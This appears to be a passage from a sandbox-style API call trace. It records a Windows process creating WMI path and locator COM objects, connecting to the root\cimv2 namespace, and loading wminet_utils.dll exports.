	[0179.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fce8, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x51aee6c | out: ppvObject=0x51aee6c*=0x0) returned 0x80004002
	[0179.175] WbemDefPath:IClassFactory:CreateInstance (in: This=0x472fce8, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeea4 | out: ppvObject=0x51aeea4*=0x472fcf8) returned 0x0
	[0179.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aec48 | out: ppvObject=0x51aec48*=0x472fcf8) returned 0x0
	[0179.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x51aec04 | out: ppvObject=0x51aec04*=0x0) returned 0x80004002
	[0179.175] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x3
	[0179.175] CoGetContextToken (in: pToken=0x51aea90 | out: pToken=0x51aea90) returned 0x0
	[0179.175] CoGetObjectContext (in: riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x56049c | out: ppv=0x56049c*=0x527d90) returned 0x0
	[0179.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aea78 | out: ppvObject=0x51aea78*=0x5588f8) returned 0x0
	[0179.176] IMarshal:GetUnmarshalClass (in: This=0x5588f8, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x51aea80 | out: pCid=0x51aea80*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0179.176] IUnknown:Release (This=0x5588f8) returned 0x3
	[0179.176] CoGetContextToken (in: pToken=0x51aea88 | out: pToken=0x51aea88) returned 0x0
	[0179.176] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x4
	[0179.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeafc | out: ppvObject=0x51aeafc*=0x0) returned 0x80004002
	[0179.176] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x3
	[0179.176] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.177] WbemDefPath:IUnknown:Release (This=0x472fce8) returned 0x0
	[0179.177] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.177] SetEvent (hEvent=0x270) returned 1
	[0179.177] GetLastError () returned 0x0
	[0179.178] CoGetClassObject (in: rclsid=0x573314*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x51af03c | out: ppv=0x51af03c*=0x472fce8) returned 0x0
	[0179.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fce8, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x51aee6c | out: ppvObject=0x51aee6c*=0x0) returned 0x80004002
	[0179.179] WbemDefPath:IClassFactory:CreateInstance (in: This=0x472fce8, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeea4 | out: ppvObject=0x51aeea4*=0x472fd90) returned 0x0
	[0179.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aec48 | out: ppvObject=0x51aec48*=0x472fd90) returned 0x0
	[0179.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x51aec04 | out: ppvObject=0x51aec04*=0x0) returned 0x80004002
	[0179.179] WbemDefPath:IUnknown:AddRef (This=0x472fd90) returned 0x3
	[0179.179] CoGetContextToken (in: pToken=0x51aea90 | out: pToken=0x51aea90) returned 0x0
	[0179.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aea78 | out: ppvObject=0x51aea78*=0x5586f8) returned 0x0
	[0179.179] IMarshal:GetUnmarshalClass (in: This=0x5586f8, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x51aea80 | out: pCid=0x51aea80*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0179.179] IUnknown:Release (This=0x5586f8) returned 0x3
	[0179.179] CoGetContextToken (in: pToken=0x51aea88 | out: pToken=0x51aea88) returned 0x0
	[0179.179] WbemDefPath:IUnknown:AddRef (This=0x472fd90) returned 0x4
	[0179.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeafc | out: ppvObject=0x51aeafc*=0x0) returned 0x80004002
	[0179.180] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x3
	[0179.180] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x2
	[0179.180] WbemDefPath:IUnknown:Release (This=0x472fce8) returned 0x0
	[0179.180] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x1
	[0179.180] SetEvent (hEvent=0x2b0) returned 1
	[0179.199] GetLastError () returned 0x36b7
	[0179.199] CoGetClassObject (in: rclsid=0x573314*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x51af03c | out: ppv=0x51af03c*=0x472ff88) returned 0x0
	[0179.199] WbemDefPath:IUnknown:QueryInterface (in: This=0x472ff88, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x51aee6c | out: ppvObject=0x51aee6c*=0x0) returned 0x80004002
	[0179.200] WbemDefPath:IClassFactory:CreateInstance (in: This=0x472ff88, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeea4 | out: ppvObject=0x51aeea4*=0x472da88) returned 0x0
	[0179.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aec48 | out: ppvObject=0x51aec48*=0x472da88) returned 0x0
	[0179.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x51aec04 | out: ppvObject=0x51aec04*=0x0) returned 0x80004002
	[0179.200] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0179.200] CoGetContextToken (in: pToken=0x51aea90 | out: pToken=0x51aea90) returned 0x0
	[0179.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aea78 | out: ppvObject=0x51aea78*=0x558858) returned 0x0
	[0179.200] IMarshal:GetUnmarshalClass (in: This=0x558858, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x51aea80 | out: pCid=0x51aea80*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0179.200] IUnknown:Release (This=0x558858) returned 0x3
	[0179.200] CoGetContextToken (in: pToken=0x51aea88 | out: pToken=0x51aea88) returned 0x0
	[0179.200] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x4
	[0179.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeafc | out: ppvObject=0x51aeafc*=0x0) returned 0x80004002
	[0179.200] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0179.200] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.201] WbemDefPath:IUnknown:Release (This=0x472ff88) returned 0x0
	[0179.201] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x1
	[0179.201] SetEvent (hEvent=0x2b4) returned 1
	[0179.203] GetLastError () returned 0x36b7
	[0179.479] CoGetClassObject (in: rclsid=0x573314*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x51af03c | out: ppv=0x51af03c*=0x472dbf8) returned 0x0
	[0179.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x472dbf8, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x51aee6c | out: ppvObject=0x51aee6c*=0x0) returned 0x80004002
	[0179.480] WbemDefPath:IClassFactory:CreateInstance (in: This=0x472dbf8, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeea4 | out: ppvObject=0x51aeea4*=0x4734900) returned 0x0
	[0179.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x4734900, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aec48 | out: ppvObject=0x51aec48*=0x4734900) returned 0x0
	[0179.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x4734900, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x51aec04 | out: ppvObject=0x51aec04*=0x0) returned 0x80004002
	[0179.480] WbemDefPath:IUnknown:AddRef (This=0x4734900) returned 0x3
	[0179.480] CoGetContextToken (in: pToken=0x51aea90 | out: pToken=0x51aea90) returned 0x0
	[0179.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x4734900, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aea78 | out: ppvObject=0x51aea78*=0x558978) returned 0x0
	[0179.480] IMarshal:GetUnmarshalClass (in: This=0x558978, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x51aea80 | out: pCid=0x51aea80*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0179.480] IUnknown:Release (This=0x558978) returned 0x3
	[0179.481] CoGetContextToken (in: pToken=0x51aea88 | out: pToken=0x51aea88) returned 0x0
	[0179.481] WbemDefPath:IUnknown:AddRef (This=0x4734900) returned 0x4
	[0179.481] WbemDefPath:IUnknown:QueryInterface (in: This=0x4734900, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeafc | out: ppvObject=0x51aeafc*=0x0) returned 0x80004002
	[0179.481] WbemDefPath:IUnknown:Release (This=0x4734900) returned 0x3
	[0179.481] WbemDefPath:IUnknown:Release (This=0x4734900) returned 0x2
	[0179.481] WbemDefPath:IUnknown:Release (This=0x472dbf8) returned 0x0
	[0179.481] WbemDefPath:IUnknown:Release (This=0x4734900) returned 0x1
	[0179.481] SetEvent (hEvent=0x2fc) returned 1
	[0179.481] GetLastError () returned 0x36b7
	[0180.983] CoGetClassObject (in: rclsid=0x573314*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x51af03c | out: ppv=0x51af03c*=0x4734c60) returned 0x0
	[0180.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x4734c60, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x51aee6c | out: ppvObject=0x51aee6c*=0x0) returned 0x80004002
	[0180.983] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4734c60, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeea4 | out: ppvObject=0x51aeea4*=0x472e160) returned 0x0
	[0180.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x472e160, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aec48 | out: ppvObject=0x51aec48*=0x472e160) returned 0x0
	[0180.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x472e160, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x51aec04 | out: ppvObject=0x51aec04*=0x0) returned 0x80004002
	[0180.984] WbemDefPath:IUnknown:AddRef (This=0x472e160) returned 0x3
	[0180.984] CoGetContextToken (in: pToken=0x51aea90 | out: pToken=0x51aea90) returned 0x0
	[0180.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x472e160, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aea78 | out: ppvObject=0x51aea78*=0x5862d8) returned 0x0
	[0180.984] IMarshal:GetUnmarshalClass (in: This=0x5862d8, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x51aea80 | out: pCid=0x51aea80*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0180.984] IUnknown:Release (This=0x5862d8) returned 0x3
	[0180.984] CoGetContextToken (in: pToken=0x51aea88 | out: pToken=0x51aea88) returned 0x0
	[0180.984] WbemDefPath:IUnknown:AddRef (This=0x472e160) returned 0x4
	[0180.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x472e160, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x51aeafc | out: ppvObject=0x51aeafc*=0x0) returned 0x80004002
	[0180.984] WbemDefPath:IUnknown:Release (This=0x472e160) returned 0x3
	[0180.985] WbemDefPath:IUnknown:Release (This=0x472e160) returned 0x2
	[0180.985] WbemDefPath:IUnknown:Release (This=0x4734c60) returned 0x0
	[0180.985] WbemDefPath:IUnknown:Release (This=0x472e160) returned 0x1
	[0180.985] SetEvent (hEvent=0x304) returned 1
	[0180.985] GetLastError () returned 0x36b7

Thread:
	id = 209
	os_tid = 0x3a8

	[0179.204] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0179.207] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x532f560 | out: lpiid=0x532f560) returned 0x0
	[0179.207] CoGetClassObject (in: rclsid=0x579ea4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x532f4c8 | out: ppv=0x532f4c8*=0x472dbf8) returned 0x0
	[0179.207] WbemLocator:IUnknown:QueryInterface (in: This=0x472dbf8, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x532f2f8 | out: ppvObject=0x532f2f8*=0x0) returned 0x80004002
	[0179.207] WbemLocator:IClassFactory:CreateInstance (in: This=0x472dbf8, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532f330 | out: ppvObject=0x532f330*=0x472dc10) returned 0x0
	[0179.207] WbemLocator:IUnknown:QueryInterface (in: This=0x472dc10, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532f0d4 | out: ppvObject=0x532f0d4*=0x472dc10) returned 0x0
	[0179.207] WbemLocator:IUnknown:QueryInterface (in: This=0x472dc10, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x532f090 | out: ppvObject=0x532f090*=0x0) returned 0x80004002
	[0179.208] WbemLocator:IUnknown:AddRef (This=0x472dc10) returned 0x3
	[0179.208] CoGetContextToken (in: pToken=0x532ef1c | out: pToken=0x532ef1c) returned 0x0
	[0179.208] WbemLocator:IUnknown:QueryInterface (in: This=0x472dc10, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532ef04 | out: ppvObject=0x532ef04*=0x0) returned 0x80004002
	[0179.208] CoGetContextToken (in: pToken=0x532ef14 | out: pToken=0x532ef14) returned 0x0
	[0179.208] WbemLocator:IUnknown:AddRef (This=0x472dc10) returned 0x4
	[0179.208] WbemLocator:IUnknown:QueryInterface (in: This=0x472dc10, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x532ef88 | out: ppvObject=0x532ef88*=0x0) returned 0x80004002
	[0179.208] WbemLocator:IUnknown:Release (This=0x472dc10) returned 0x3
	[0179.208] WbemLocator:IUnknown:Release (This=0x472dc10) returned 0x2
	[0179.208] WbemLocator:IUnknown:Release (This=0x472dbf8) returned 0x0
	[0179.208] WbemLocator:IUnknown:Release (This=0x472dc10) returned 0x1
	[0179.208] CoGetContextToken (in: pToken=0x532f420 | out: pToken=0x532f420) returned 0x0
	[0179.211] CoGetContextToken (in: pToken=0x532f3e0 | out: pToken=0x532f3e0) returned 0x0
	[0179.211] WbemLocator:IUnknown:AddRef (This=0x472dc10) returned 0x2
	[0179.211] WbemLocator:IUnknown:QueryInterface (in: This=0x472dc10, riid=0x532f45c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x532f458 | out: ppvObject=0x532f458*=0x472dc10) returned 0x0
	[0179.211] WbemLocator:IUnknown:Release (This=0x472dc10) returned 0x2
	[0179.211] WbemLocator:IUnknown:Release (This=0x472dc10) returned 0x1
	[0179.221] CoGetContextToken (in: pToken=0x532f49c | out: pToken=0x532f49c) returned 0x0
	[0179.221] CoGetContextToken (in: pToken=0x532f45c | out: pToken=0x532f45c) returned 0x0
	[0179.222] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x2
	[0179.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x532f4d8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x532f4d4 | out: ppvObject=0x532f4d4*=0x472da88) returned 0x0
	[0179.222] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.222] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0179.222] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472da88, puCount=0x532f650 | out: puCount=0x532f650*=0x2) returned 0x0
	[0179.222] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.222] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=8, puBuffLength=0x532f64c*=0x0, pszText=0x0 | out: puBuffLength=0x532f64c*=0xf, pszText=0x0) returned 0x0
	[0179.222] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=8, puBuffLength=0x532f64c*=0xf, pszText="00000000000000" | out: puBuffLength=0x532f64c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0179.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x532e7f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e
	[0179.227] GetLastError () returned 0x0
	[0179.229] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\\\wminet_utils.dll") returned 0x6a310000
	[0179.264] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944
	[0179.267] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986
	[0179.269] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc
	[0179.272] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e
	[0179.276] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyHandle") returned 0x6a311a70
	[0179.279] GetProcAddress (hModule=0x6a310000, lpProcName="WritePropertyValue") returned 0x6a311a89
	[0179.282] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2
	[0179.284] GetProcAddress (hModule=0x6a310000, lpProcName="VerifyClientKey") returned 0x6a312270
	[0179.287] GetProcAddress (hModule=0x6a310000, lpProcName="GetQualifierSet") returned 0x6a311d73
	[0179.289] GetProcAddress (hModule=0x6a310000, lpProcName="Get") returned 0x6a311b96
	[0179.292] GetProcAddress (hModule=0x6a310000, lpProcName="Put") returned 0x6a311b7a
	[0179.294] GetProcAddress (hModule=0x6a310000, lpProcName="Delete") returned 0x6a311bb5
	[0179.296] GetProcAddress (hModule=0x6a310000, lpProcName="GetNames") returned 0x6a311bc8
	[0179.299] GetProcAddress (hModule=0x6a310000, lpProcName="BeginEnumeration") returned 0x6a311be4
	[0179.302] GetProcAddress (hModule=0x6a310000, lpProcName="Next") returned 0x6a311bf7
